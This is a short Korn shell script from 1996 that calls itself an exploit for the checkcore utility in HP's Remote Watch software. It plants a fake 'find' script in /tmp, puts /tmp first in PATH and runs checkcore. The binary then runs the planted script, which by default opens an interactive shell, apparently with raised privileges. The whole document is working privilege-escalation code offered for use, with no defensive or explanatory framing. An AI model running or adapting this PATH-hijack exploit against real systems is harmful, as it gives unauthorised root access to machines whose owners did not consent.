#!/bin/ksh

# SOD (as of 06/11/96)
# same sorta bug, different file.

if [ ! -x /usr/remwatch/bin/fmon/checkcore ]
then
  echo This is an exploit for the checkcore utility internal to
  echo HP\'s Remote Watch series of programs.
  echo The checkcore utility doesn\'t appear to be on your system.
  echo Moo
  exit
fi

PGM=$*

if [ -z "${PGM}" ]
then
  PROGGIE=`basename $0`
  echo "${PROGGIE}: I will run a shell for you"
  PGM="/bin/ksh -i"
fi

TTY=`tty`

echo '#!/bin/ksh' > /tmp/find
echo "${PGM} >> ${TTY} 2>&1" >> /tmp/find
chmod 777 /tmp/find
PATH=/tmp:$PATH
export PATH
/usr/remwatch/bin/fmon/checkcore > /dev/null 2>&1
rm /tmp/find

